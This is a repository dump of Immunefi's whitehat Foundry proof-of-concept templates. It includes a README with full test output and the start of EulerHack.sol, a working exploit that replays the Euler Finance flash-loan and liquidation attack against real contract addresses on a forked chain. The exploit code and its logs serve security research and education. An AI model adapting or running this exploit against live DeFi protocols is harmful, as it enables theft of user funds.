├── .env-example ├── .github ├── CLA.md ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── PULL_REQUEST_TEMPLATE.md └── workflows │ └── ci.yml ├── .gitignore ├── .gitmodules ├── LICENSE ├── README.md ├── foundry.toml ├── pocs ├── EulerHack.sol └── HundredFinanceHack.sol ├── remappings.txt ├── src ├── FlashLoanTemplate.sol ├── PriceManipulationTemplate.sol ├── ReentrancyTemplate.sol ├── TokenTemplate.sol ├── flashloan │ ├── FlashLoan.sol │ ├── FlashLoanProvider.sol │ ├── README.md │ ├── examples │ │ ├── FlashLoanExample.sol │ │ └── MultiProviderFlashLoanExample.sol │ └── lib │ │ ├── AAVEV1FlashLoan.sol │ │ ├── AAVEV2FlashLoan.sol │ │ ├── AAVEV3FlashLoan.sol │ │ ├── BalancerFlashLoan.sol │ │ ├── EulerFlashLoan.sol │ │ ├── MakerDAOFlashLoan.sol │ │ ├── UniswapV2FlashLoan.sol │ │ └── UniswapV3FlashLoan.sol ├── pricemanipulation │ ├── PriceManipulation.sol │ ├── PriceManipulationProvider.sol │ ├── README.md │ ├── examples │ │ └── PriceManipulationExample.sol │ └── lib │ │ └── CurvePriceManipulation.sol ├── reentrancy │ ├── README.md │ ├── Reentrancy.sol │ └── examples │ │ ├── ReentrancyExampleAttack.sol │ │ └── ReentrancyExampleVictim.sol └── tokens │ ├── README.md │ ├── Tokens.sol │ └── examples │ └── TokenExampleManipulation.sol └── test ├── FlashLoan.t.sol ├── PriceManipulation.t.sol ├── Reentrancy.t.sol ├── Tokens.t.sol ├── examples ├── FlashLoanExample.t.sol ├── PriceManipulationExample.t.sol ├── ReentrancyExample.t.sol └── TokensExample.t.sol └── pocs ├── EulerHack.t.sol └── HundredFinanceHack.t.sol /.env-example: -------------------------------------------------------------------------------- 1 | ETHERSCAN_API_KEY= -------------------------------------------------------------------------------- /.github/CLA.md: -------------------------------------------------------------------------------- 1 | Immuni Software PTE Ltd Individual Contributor License Agreement 2 | 3 | 4 | In order to clarify the intellectual property license granted with Contributions from any person or entity, Immuni Software PTE Ltd ("Immunefi") must have a Contributor License Agreement ("CLA") on file that has been signed by each Contributor, indicating agreement to the license terms below. This license is for your protection as a Contributor as well as the protection of Immunefi; it does not change your rights to use your own Contributions for any other purpose. 5 | 6 | You accept and agree to the following terms and conditions for Your present and future Contributions submitted to Immunefi. Except for the license granted herein to Immunefi and recipients of software distributed by Immunefi, You reserve all right, title, and interest in and to Your Contributions. 7 | 8 | 1. Definitions. 9 | 10 | "You" (or "Your") shall mean the copyright owner or legal entity authorized by the copyright owner that is making this Agreement with Immunefi. For legal entities, the entity making a Contribution and all other entities that control, are controlled by, or are under common control with that entity are considered to be a single Contributor. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. 11 | 12 | "Contribution" shall mean any original work of authorship, including any modifications or additions to an existing work, that is intentionally submitted by You to Immunefi for inclusion in, or documentation of, any of the products owned or managed by Immunefi (the "Work"). For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to Immunefi or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, Immunefi for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by You as "Not a Contribution." 13 | 14 | 2. Grant of Copyright License. Subject to the terms and conditions of this Agreement, You hereby grant to Immunefi and to recipients of software distributed by Immunefi a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Your Contributions and such derivative works. 15 | 3. Grant of Patent License. Subject to the terms and conditions of this Agreement, You hereby grant to Immunefi and to recipients of software distributed by Immunefi a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by You that are necessarily infringed by Your Contribution(s) alone or by combination of Your Contribution(s) with the Work to which such Contribution(s) was submitted. If any entity institutes patent litigation against You or any other entity (including a cross-claim or counterclaim in a lawsuit) alleging that your Contribution, or the Work to which you have contributed, constitutes direct or contributory patent infringement, then any patent licenses granted to that entity under this Agreement for that Contribution or Work shall terminate as of the date such litigation is filed. 16 | 4. You represent that you are legally entitled to grant the above license. If your employer(s) has rights to intellectual property that you create that includes your Contributions, you represent that you have received permission to make Contributions on behalf of that employer, that your employer has waived such rights for your Contributions to Immunefi, or that your employer has executed a separate Corporate CLA with Immunefi. 17 | 5. You represent that each of Your Contributions is Your original creation (see section 7 for submissions on behalf of others). You represent that Your Contribution submissions include complete details of any third-party license or other restriction (including, but not limited to, related patents and trademarks) of which you are personally aware and which are associated with any part of Your Contributions. 18 | 6. You are not expected to provide support for Your Contributions, except to the extent You desire to provide support. You may provide support for free, for a fee, or not at all. Unless required by applicable law or agreed to in writing, You provide Your Contributions on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON- INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. 19 | 7. You agree to notify Immunefi of any facts or circumstances of which you become aware that would make these representations inaccurate in any respect. -------------------------------------------------------------------------------- /.github/CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | ## Mission 2 | 3 | Our mission is to empower open source projects to maximize good in the world by helping them define and execute on their missions. 4 | 5 | ## Objective 6 | 7 | Our objective is to focus on the mission we set out to accomplish, which we believe will produce an important social good in the world. Our standards are directed towards achieving this mission. We will conduct ourselves with professional integrity and set aside divisive discourse that doesn’t help us achieve our mission. 8 | 9 | ## Standards 10 | 11 | **Leadership principle:** Project leaders are responsible and authorized to make judgments and take appropriate actions to define the mission and keep the project in line with this mission. 12 | 13 | **Mission focus:** We will focus our efforts on accomplishing the project’s mission, so that it is fulfilled to its highest potential. 14 | 15 | **Creative conflict:** We acknowledge that discussions and disagreements are a natural part of problem-solving and should happen in a constructive way. 16 | 17 | **The whole is greater than the parts:** We are a project with diverse opinions and fields of engagement, but we are here to focus on what unites us, instead of what divides us. 18 | 19 | **Principle of charity:** We assume positive intentions of members, contributors, and policies. 20 | 21 | ## Prohibited Behavior 22 | 23 | * Harassment, i.e., excessive, hostile, or bad-faith communication directed at another member or contributor 24 | * Attacks based on personal characteristics 25 | * Threats of violence 26 | * Threatening to publish or publishing people’s personal information without their consent 27 | * Repeatedly attempting to involve the project in issues outside of its mission 28 | * Posting illegal content 29 | * Abuse of the system for reporting code of conduct violations 30 | * Promoting any behavior listed above 31 | 32 | ## Responsibilities 33 | 34 | In line with the leadership principle, project leaders have the responsibility to clarify and interpret the mission, as well as the intentions and standards in this code of conduct, in order to maintain mission focus. When individuals engage in prohibited behavior, project leaders are expected to take expedient, fair, and appropriate action to address the violation(s). The standards and prohibitions in this document also apply to project leaders. 35 | 36 | ## Conflict Resolution 37 | 38 | ### Reporting 39 | 40 | We highly encourage contributors to resolve conflicts by directly reaching out to the other party or parties involved in the dispute. When this is insufficient, members can report the issue to project leaders via email at alejandro@immunefi.com within 31 days of the inciting event and request a formal resolution. 41 | 42 | Project leaders will make reasonable efforts to adjudicate incidents shortly after they are brought to their attention. 43 | 44 | ### Enforcement 45 | 46 | Project leaders shall take all reasonable actions to ensure the successful execution of the mission statement and the maximum effectiveness of the project. 47 | 48 | All material in official project spaces is subject to the code of conduct, and as such, can be deleted, modified, or rejected by project leaders if it is found to be in violation of the code of conduct. In repeated or severe cases, project leaders may exclude individuals from further contribution to the project on a temporary or permanent basis. 49 | 50 | ## Scope 51 | This code of conduct applies to official project spaces, which include but are not limited to: social media, conferences, code repositories, and discussion boards. This code of conduct also applies to members and contributors who represent the project in non-project spaces, such as when contributors give a talk on behalf of the project at a conference. In official spaces, members and contributors should operate with decorum that reflects positively on the project, its objectives, and its community. 52 | 53 | ## Licensing 54 | 55 | The Mission Protocol Code of Conduct was created under the CC BY 4.0 License in 2020. -------------------------------------------------------------------------------- /.github/CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | ### Contribution Guidelines 2 | 3 | We would like to keep our templates as modular as possible and provide generic tooling which will get our whitehats up and running with PoCs for vulnerabilities as quickly as possible. This means templates must be neat and concise. The following guidelines were adapted from OpenZeppelin's contribution guidelines. 4 | 5 | ### Creating a PoC Template 6 | 7 | To create a PoC template, be sure to follow the same pattern as existing templates. Create an abstract attack contract which exists in ./src and a corresponding test in ./test. The name of both files should match, and be a short one or two word description of the vulnerability type used in the attack. 8 | 9 | In addition to the abstract attack contract which can be extended and test file, the [Template Categories](#template-categories-) needs to be updated with the corresponding template whitehats can modify to implement their own attack. 10 | 11 | In order to be consistent with all the other Solidity projects, we follow the 12 | [official recommendations documented in the Solidity style guide](http://solidity.readthedocs.io/en/latest/style-guide.html). 13 | 14 | Any exception or additions specific to our project are documented below. 15 | 16 | ### Creating Pull Requests (PRs) 17 | 18 | As a contributor, you are expected to fork this repository, work on your own fork and then submit pull requests. The pull requests will be reviewed and eventually merged into the main repo. See ["Fork-a-Repo"](https://help.github.com/articles/fork-a-repo/) for how this works. Additionally, contributors are required to sign a [CLA](./CLA.md) before their changes can be reviewed and accepted. 19 | 20 | ### A typical workflow 21 | 22 | 1) Make sure your fork is up to date with the main repository: 23 | 24 | ``` 25 | cd forge-poc-templates 26 | git remote add upstream https://github.com/immunefi-team/forge-poc-templates.git 27 | git fetch upstream 28 | git pull --rebase upstream main 29 | ``` 30 | NOTE: The directory `forge-poc-templates` represents your fork's local copy. 31 | 32 | 2) Branch out from `main` into `template/some-attack-type#123`: 33 | (Postfixing #123 will associate your PR with the issue #123) 34 | ``` 35 | git checkout -b template/some-attack-type#123 36 | ``` 37 | 38 | 3) Make your changes, add your files, commit, and push to your fork. 39 | 40 | ``` 41 | git add SomeFile.sol 42 | git commit "Create new attack template #123" 43 | git push origin template/some-attack-type#123 44 | ``` 45 | 46 | 4) Run tests, linter, etc. This can be done by running local continuous integration and make sure it passes. 47 | 48 | ```bash 49 | forge test -vv 50 | ``` 51 | 52 | 5) Go to [github.com/immunefi-team/forge-poc-templates](https://github.com/immunefi-team/forge-poc-templates) in your web browser and issue a new pull request. 53 | 54 | *IMPORTANT* Read the PR template very carefully and make sure to follow all the instructions. These instructions 55 | refer to some very important conditions that your PR must meet in order to be accepted, such as making sure that all tests pass, Solidity linting tests pass, etc. 56 | 57 | 6) Sign CLA available [here](https://app.hellosign.com/s/3c0FRG89) 58 | 59 | 7) Maintainers will review your code and possibly ask for changes before your code is pulled in to the main repository. We'll check that all tests pass, review the coding style, and check for general code correctness. If everything is OK, we'll merge your pull request and your code will be part of Immunefi's templates. 60 | 61 | *IMPORTANT* Please pay attention to the maintainer's feedback, since it's a necessary step to keep up with the standards Immunefi attains to. 62 | -------------------------------------------------------------------------------- /.github/PULL_REQUEST_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Fixes #???? 8 | 9 | ## Vulnerability Type 10 | 11 | 12 | 13 | ## Usage 14 | 15 | 16 | #### PR Checklist 17 | 18 | 19 | 20 | 21 | 22 | - [ ] Attack Template 23 | - [ ] Attack Example 24 | - [ ] Test 25 | - [ ] Readme Updated -------------------------------------------------------------------------------- /.github/workflows/ci.yml: -------------------------------------------------------------------------------- 1 | name: test 2 | 3 | on: 4 | push: 5 | branches-ignore: 6 | - 'assets' 7 | 8 | env: 9 | FOUNDRY_PROFILE: ci 10 | 11 | jobs: 12 | lint: 13 | strategy: 14 | fail-fast: true 15 | 16 | name: Run Linter 17 | runs-on: ubuntu-latest 18 | steps: 19 | - uses: actions/checkout@v3 20 | with: 21 | submodules: recursive 22 | 23 | - name: Install Foundry 24 | uses: foundry-rs/foundry-toolchain@v1 25 | with: 26 | version: nightly 27 | 28 | - run: forge fmt --check 29 | 30 | check: 31 | strategy: 32 | fail-fast: true 33 | 34 | name: Foundry Tests 35 | runs-on: ubuntu-latest 36 | steps: 37 | - uses: actions/checkout@v3 38 | with: 39 | submodules: recursive 40 | 41 | - name: Install Foundry 42 | uses: foundry-rs/foundry-toolchain@v1 43 | with: 44 | version: nightly 45 | 46 | - name: Run Forge build 47 | run: | 48 | forge --version 49 | forge build --sizes 50 | id: build 51 | 52 | - name: Run Forge tests 53 | run: | 54 | forge test -vvv 55 | id: test 56 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Compiler files 2 | cache/ 3 | out/ 4 | 5 | # Ignores development broadcast logs 6 | !/broadcast 7 | /broadcast/*/31337/ 8 | /broadcast/**/dry-run/ 9 | 10 | # Dotenv file 11 | .env 12 | 13 | # Mac file 14 | .DS_Store 15 | 16 | # ignore directories 17 | .history 18 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "lib/forge-std"] 2 | path = lib/forge-std 3 | url = https://github.com/foundry-rs/forge-std 4 | [submodule "lib/v2-core"] 5 | path = lib/v2-core 6 | url = https://github.com/uniswap/v2-core 7 | [submodule "lib/v2-periphery"] 8 | path = lib/v2-periphery 9 | url = https://github.com/uniswap/v2-periphery 10 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU LESSER GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2023 Immuni Software PTE Ltd. 5 | 6 | Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. 7 | 8 | This version of the GNU Lesser General Public License incorporates the terms and conditions of version 3 of the GNU General Public License, supplemented by the additional permissions listed below. 9 | 10 | 0. Additional Definitions. 11 | 12 | As used herein, “this License” refers to version 3 of the GNU Lesser General Public License, and the “GNU GPL” refers to version 3 of the GNU General Public License. 13 | 14 | “The Library” refers to a covered work governed by this License, other than an Application or a Combined Work as defined below. 15 | 16 | An “Application” is any work that makes use of an interface provided by the Library, but which is not otherwise based on the Library. Defining a subclass of a class defined by the Library is deemed a mode of using an interface provided by the Library. 17 | 18 | A “Combined Work” is a work produced by combining or linking an Application with the Library. The particular version of the Library with which the Combined Work was made is also called the “Linked Version”. 19 | 20 | The “Minimal Corresponding Source” for a Combined Work means the Corresponding Source for the Combined Work, excluding any source code for portions of the Combined Work that, considered in isolation, are based on the Application, and not on the Linked Version. 21 | 22 | The “Corresponding Application Code” for a Combined Work means the object code and/or source code for the Application, including any data and utility programs needed for reproducing the Combined Work from the Application, but excluding the System Libraries of the Combined Work. 23 | 24 | 1. Exception to Section 3 of the GNU GPL. 25 | 26 | You may convey a covered work under sections 3 and 4 of this License without being bound by section 3 of the GNU GPL. 27 | 28 | 2. Conveying Modified Versions. 29 | 30 | If you modify a copy of the Library, and, in your modifications, a facility refers to a function or data to be supplied by an Application that uses the facility (other than as an argument passed when the facility is invoked), then you may convey a copy of the modified version: 31 | 32 | a) under this License, provided that you make a good faith effort to ensure that, in the event an Application does not supply the function or data, the facility still operates, and performs whatever part of its purpose remains meaningful, or 33 | b) under the GNU GPL, with none of the additional permissions of this License applicable to that copy. 34 | 3. Object Code Incorporating Material from Library Header Files. 35 | 36 | The object code form of an Application may incorporate material from a header file that is part of the Library. You may convey such object code under terms of your choice, provided that, if the incorporated material is not limited to numerical parameters, data structure layouts and accessors, or small macros, inline functions and templates (ten or fewer lines in length), you do both of the following: 37 | 38 | a) Give prominent notice with each copy of the object code that the Library is used in it and that the Library and its use are covered by this License. 39 | b) Accompany the object code with a copy of the GNU GPL and this license document. 40 | 4. Combined Works. 41 | 42 | You may convey a Combined Work under terms of your choice that, taken together, effectively do not restrict modification of the portions of the Library contained in the Combined Work and reverse engineering for debugging such modifications, if you also do each of the following: 43 | 44 | a) Give prominent notice with each copy of the Combined Work that the Library is used in it and that the Library and its use are covered by this License. 45 | b) Accompany the Combined Work with a copy of the GNU GPL and this license document. 46 | c) For a Combined Work that displays copyright notices during execution, include the copyright notice for the Library among these notices, as well as a reference directing the user to the copies of the GNU GPL and this license document. 47 | d) Do one of the following: 48 | 0) Convey the Minimal Corresponding Source under the terms of this License, and the Corresponding Application Code in a form suitable for, and under terms that permit, the user to recombine or relink the Application with a modified version of the Linked Version to produce a modified Combined Work, in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source. 49 | 1) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (a) uses at run time a copy of the Library already present on the user’s computer system, and (b) will operate properly with a modified version of the Library that is interface-compatible with the Linked Version. 50 | e) Provide Installation Information, but only if you would otherwise be required to provide such information under section 6 of the GNU GPL, and only to the extent that such information is necessary to install and execute a modified version of the Combined Work produced by recombining or relinking the Application with a modified version of the Linked Version. (If you use option 4d0, the Installation Information must accompany the Minimal Corresponding Source and Corresponding Application Code. If you use option 4d1, you must provide the Installation Information in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.) 51 | 5. Combined Libraries. 52 | 53 | You may place library facilities that are a work based on the Library side by side in a single library together with other library facilities that are not Applications and are not covered by this License, and convey such a combined library under terms of your choice, if you do both of the following: 54 | 55 | a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities, conveyed under the terms of this License. 56 | b) Give prominent notice with the combined library that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 57 | 6. Revised Versions of the GNU Lesser General Public License. 58 | 59 | The Free Software Foundation may publish revised and/or new versions of the GNU Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. 60 | 61 | Each version is given a distinguishing version number. If the Library as you received it specifies that a certain numbered version of the GNU Lesser General Public License “or any later version” applies to it, you have the option of following the terms and conditions either of that published version or of any later version published by the Free Software Foundation. If the Library as you received it does not specify a version number of the GNU Lesser General Public License, you may choose any version of the GNU Lesser General Public License ever published by the Free Software Foundation. 62 | 63 | If the Library as you received it specifies that a proxy can decide whether future versions of the GNU Lesser General Public License shall apply, that proxy’s public statement of acceptance of any version is permanent authorization for you to choose that version for the Library. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Euler Exploit PoC 2 | 3 | This is an educational proof-of-concept for the [vulnerability in a Euler contract](https://medium.com/@omniscia.io/euler-finance-incident-post-mortem-1ce077c28454). The exploit closely replicates reverse engineered contract [0x036cec1a199234fc02f72d29e596a09440825f1c](https://etherscan.io/address/0x036cec1a199234fc02f72d29e596a09440825f1c). 4 | 5 | Proudly using Immunefi's [Forge PoC Templates](https://github.com/immunefi-team/forge-poc-templates) 6 | 7 | ## Requirements 8 | 9 | - [Foundry](https://book.getfoundry.sh) 10 | 11 | ## Run 12 | 13 | Run test as follows: 14 | 15 | ``` 16 | % forge test --match-path test/pocs/EulerHack.t.sol -vvv 17 | [⠆] Compiling... 18 | [⠊] Compiling 52 files with 0.8.17 19 | [⠰] Solc 0.8.17 finished in 4.87s 20 | Compiler run successful (with warnings) 21 | 22 | Running 1 test for test/pocs/EulerHack.t.sol:EulerHackTest 23 | [PASS] testFlashLoan() (gas: 17687653) 24 | Logs: 25 | [*] Forking chain before the attack at 16817995 26 | 27 | 28 | [*] Attacking USDC... 29 | [*] Euler balance before exploit: 34413863 USDC 30 | [*] Borrowing 210000000 USDC 31 | >>> Taking flashloan of 210000000000000 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 from FlashLoanProviders[2] 32 | >>> Execute attack 33 | [*] Generated bad loan... 34 | Collateral: 2158641630 Debt: 2730000000 35 | [*] Liquidated bad loan... 36 | Collateral: 2158641630 Debt: 1811583362 Profit: 347058268 37 | [*] Stealing 34413863 USDC from Euler pool 38 | >>> Attack completed successfully 39 | >>> Pay back flash loan 40 | [*] Attacker balance after exploit: 34224863 USDC 41 | 42 | 43 | [*] Attacking WBTC... 44 | [*] Euler balance before exploit: 849 WBTC 45 | [*] Borrowing 3000 WBTC 46 | >>> Taking flashloan of 300000000000 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 from FlashLoanProviders[2] 47 | >>> Execute attack 48 | [*] Generated bad loan... 49 | Collateral: 31483 Debt: 39000 50 | [*] Liquidated bad loan... 51 | Collateral: 31483 Debt: 26010 Profit: 5473 52 | [*] Stealing 849 WBTC from Euler pool 53 | >>> Attack completed successfully 54 | >>> Pay back flash loan 55 | [*] Attacker balance after exploit: 846 WBTC 56 | 57 | 58 | [*] Attacking WETH... 59 | [*] Euler balance before exploit: 8099 WETH 60 | [*] Borrowing 20895 WETH 61 | >>> Taking flashloan of 20895000000000000000000 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 from FlashLoanProviders[2] 62 | >>> Execute attack 63 | [*] Generated bad loan... 64 | Collateral: 215261 Debt: 271635 65 | [*] Liquidated bad loan... 66 | Collateral: 215261 Debt: 180350 Profit: 34911 67 | [*] Stealing 8099 WETH from Euler pool 68 | >>> Attack completed successfully 69 | >>> Pay back flash loan 70 | [*] Attacker balance after exploit: 8080 WETH 71 | 72 | 73 | [*] Attacking stETH... 74 | [*] Euler balance before exploit: 3897 stETH 75 | [*] Borrowing 20895 stETH 76 | >>> Taking flashloan of 20895000000000000000000 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84 from FlashLoanProviders[2] 77 | >>> Execute attack 78 | [*] Generated bad loan... 79 | Collateral: 212549 Debt: 271635 80 | [*] Liquidated bad loan... 81 | Collateral: 212549 Debt: 179789 Profit: 32760 82 | [*] Stealing 3897 stETH from Euler pool 83 | >>> Attack completed successfully 84 | >>> Pay back flash loan 85 | [*] Attacker balance after exploit: 3878 stETH 86 | 87 | 88 | [*] Attacking DAI... 89 | [*] Euler balance before exploit: 8904507 DAI 90 | [*] Borrowing 30000000 DAI 91 | >>> Taking flashloan of 30000000000000000000000000 0x6B175474E89094C44Da98b954EedeAC495271d0F from FlashLoanProviders[2] 92 | >>> Execute attack 93 | [*] Generated bad loan... 94 | Collateral: 310930612 Debt: 390000000 95 | [*] Liquidated bad loan... 96 | Collateral: 310930612 Debt: 259319058 Profit: 51611554 97 | [*] Stealing 8904507 DAI from Euler pool 98 | >>> Attack completed successfully 99 | >>> Pay back flash loan 100 | [*] Attacker balance after exploit: 8877507 DAI 101 | 102 | 103 | [*] Attacking wstETH... 104 | [*] Euler balance before exploit: 66271 wstETH 105 | [*] Borrowing 99000 wstETH 106 | >>> Taking flashloan of 99000000000000000000000 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0 from FlashLoanProviders[4] 107 | >>> Execute attack 108 | [*] Generated bad loan... 109 | Collateral: 1040313 Debt: 1287000 110 | [*] Liquidated bad loan... 111 | Collateral: 1040313 Debt: 858613 Profit: 181700 112 | [*] Stealing 46200 wstETH from Euler pool 113 | >>> Attack completed successfully 114 | >>> Pay back flash loan 115 | [*] Borrowing 99000 wstETH 116 | >>> Taking flashloan of 99000000000000000000000 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0 from FlashLoanProviders[4] 117 | >>> Execute attack 118 | [*] Generated bad loan... 119 | Collateral: 1040313 Debt: 1287000 120 | [*] Liquidated bad loan... 121 | Collateral: 1040313 Debt: 858613 Profit: 181700 122 | [*] Stealing 20071 wstETH from Euler pool 123 | >>> Attack completed successfully 124 | >>> Pay back flash loan 125 | [*] Attacker balance after exploit: 66271 wstETH 126 | 127 | Test result: ok. 1 passed; 0 failed; finished in 332.89ms 128 | ``` 129 | -------------------------------------------------------------------------------- /foundry.toml: -------------------------------------------------------------------------------- 1 | [profile.default] 2 | src = 'src' 3 | out = 'out' 4 | libs = ['lib'] 5 | 6 | # Ankr RPC endpoints (https://www.ankr.com/rpc/) 7 | rpc_endpoints = { eth = "https://rpc.ankr.com/eth", optimism = "https://rpc.ankr.com/optimism", fantom = "https://rpc.ankr.com/fantom", arbitrum = "https://rpc.ankr.com/arbitrum", bsc = "https://rpc.ankr.com/bsc", moonriver = "https://moonriver.public.blastapi.io", gnosis = "https://rpc.ankr.com/gnosis", Avalanche = "https://rpc.ankr.com/avalanche", polygon = "https://rpc.ankr.com/polygon", celo = "https://rpc.ankr.com/celo", solana = "https://rpc.ankr.com/solana", IoTeX = "https://rpc.ankr.com/iotex", harmony = "https://rpc.ankr.com/harmony", aptos = "https://rpc.ankr.com/http/aptos/v1", tron = "https://rpc.ankr.com/http/tron", near = "https://rpc.ankr.com/near", klaytn = "https://rpc.ankr.com/klaytn", filecoin = "https://rpc.ankr.com/filecoin", nervos = "https://rpc.ankr.com/nervos", bttc = "https://rpc.ankr.com/bttc", syscoin = "https://rpc.ankr.com/syscoin", arbitrumnova = "https://rpc.ankr.com/arbitrumnova", secretnetwork = "https://rpc.ankr.com/scrt" } 8 | 9 | 10 | # See more config options https://github.com/foundry-rs/foundry/tree/master/config 11 | -------------------------------------------------------------------------------- /pocs/EulerHack.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "../src/flashloan/FlashLoan.sol"; 4 | import "../src/reentrancy/Reentrancy.sol"; 5 | import "../src/tokens/Tokens.sol"; 6 | 7 | import "forge-std/interfaces/IERC20.sol"; 8 | import "forge-std/console2.sol"; 9 | 10 | // Euler Markets on Ethereum 11 | // Source: https://docs.euler.finance/euler-protocol/addresses 12 | library EulerProtocol { 13 | 14 | EToken public constant eUSDC = EToken(0xEb91861f8A4e1C12333F42DCE8fB0Ecdc28dA716); 15 | DToken public constant dUSDC = DToken(0x84721A3dB22EB852233AEAE74f9bC8477F8bcc42); 16 | 17 | EToken public constant eWBTC = EToken(0x0275b156cD77c5ed82D44bCc5f9E93eECff20138); 18 | DToken public constant dWBTC = DToken(0x36c4A49F624342225bA45fcfc2e1A4BcBCDcE557); 19 | 20 | EToken public constant eWETH = EToken(0x1b808F49ADD4b8C6b5117d9681cF7312Fcf0dC1D); 21 | DToken public constant dWETH = DToken(0x62e28f054efc24b26A794F5C1249B6349454352C); 22 | 23 | EToken public constant estETH = EToken(0x570a7e6E75C8043bd75B574D47988Aa305873818); 24 | DToken public constant dstETH = DToken(0x8f222fC08bD508571FcE098cAB5Bb4095346a561); 25 | 26 | EToken public constant eDAI = EToken(0xe025E3ca2bE02316033184551D4d3Aa22024D9DC); 27 | DToken public constant dDAI = DToken(0x6085Bc95F506c326DCBCD7A6dd6c79FBc18d4686); 28 | 29 | EToken public constant ewstETH = EToken(0xbd1bd5C956684f7EB79DA40f582cbE1373A1D593); 30 | DToken public constant dwstETH = DToken(0x436548baAb5Ec4D79F669D1b9506D67e98927aF7); 31 | 32 | ILiquidation public constant liquidation = ILiquidation(0xf43ce1d09050BAfd6980dD43Cde2aB9F18C85b34); 33 | address public constant euler = 0x27182842E098f60e3D576794A5bFFb0777E025d3; 34 | 35 | } 36 | 37 | enum TargetTokens { 38 | USDC, 39 | WBTC, 40 | WETH, 41 | stETH, 42 | DAI, 43 | wstETH, 44 | USDT 45 | } 46 | 47 | contract EulerHack is FlashLoan, Tokens { 48 | 49 | bool executeOperation; 50 | 51 | Violator violator; 52 | 53 | uint256 x; 54 | uint256 flashAmount; 55 | uint256 mintAmount; 56 | uint256 donateAmount; 57 | uint256 maxWithdraw; 58 | IERC20 token; 59 | EToken eToken; 60 | DToken dToken; 61 | 62 | function initiateAttack(TargetTokens targetToken) external { 63 | 64 | FlashLoanProviders provider; 65 | 66 | // USDC 67 | if (targetToken == TargetTokens.USDC) { 68 | x = 70_000_000; 69 | token = EthereumTokens.USDC; 70 | eToken = EulerProtocol.eUSDC; 71 | dToken = EulerProtocol.dUSDC; 72 | provider = FlashLoanProviders.AAVEV2; 73 | } 74 | 75 | // WBTC 76 | else if (targetToken == TargetTokens.WBTC) { 77 | x = 1_000; 78 | token = EthereumTokens.WBTC; 79 | eToken = EulerProtocol.eWBTC; 80 | dToken = EulerProtocol.dWBTC; 81 | provider = FlashLoanProviders.AAVEV2; 82 | } 83 | 84 | // WETH 85 | else if (targetToken == TargetTokens.WETH) { 86 | x = 6_965; 87 | token = EthereumTokens.WETH; 88 | eToken = EulerProtocol.eWETH; 89 | dToken = EulerProtocol.dWETH; 90 | provider = FlashLoanProviders.AAVEV2; 91 | } 92 | 93 | // stETH 94 | else if (targetToken == TargetTokens.stETH) { 95 | x = 6_965; 96 | token = EthereumTokens.stETH; 97 | eToken = EulerProtocol.estETH; 98 | dToken = EulerProtocol.dstETH; 99 | provider = FlashLoanProviders.AAVEV2; 100 | } 101 | 102 | // DAI 103 | else if (targetToken == TargetTokens.DAI) { 104 | x = 10_000_000; 105 | token = EthereumTokens.DAI; 106 | eToken = EulerProtocol.eDAI; 107 | dToken = EulerProtocol.dDAI; 108 | provider = FlashLoanProviders.AAVEV2; 109 | } 110 | 111 | // wstETH 112 | else if (targetToken == TargetTokens.wstETH) { 113 | x = 33_000; 114 | token = EthereumTokens.wstETH; 115 | eToken = EulerProtocol.ewstETH; 116 | dToken = EulerProtocol.dwstETH; 117 | provider = FlashLoanProviders.BALANCER; 118 | } 119 | 120 | // Calculate attack parameters 121 | 122 | flashAmount = x * 3; 123 | mintAmount = x * 2 * 10; 124 | donateAmount = x * 10; 125 | maxWithdraw = (x * 3 * 9 * 2) / 10 - x; 126 | 127 | // Initiate the flashloan 128 | 129 | console.log("\n\n [*] Attacking %s...", token.symbol()); 130 | console.log("[*] Euler balance before exploit: %d %s", token.balanceOf(EulerProtocol.euler) / 10 ** token.decimals(), token.symbol()); 131 | 132 | executeOperation = true; 133 | 134 | // Repeat until all of the pool is empty 135 | while (executeOperation) { 136 | console.log("[*] Borrowing %d %s", flashAmount, token.symbol()); 137 | 138 | takeFlashLoan(provider, address(token), flashAmount * 10 ** token.decimals()); 139 | } 140 | 141 | console.log("[*] Attacker balance after exploit: %d %s", token.balanceOf(address(this)) / 10 ** token.decimals(), token.symbol()); 142 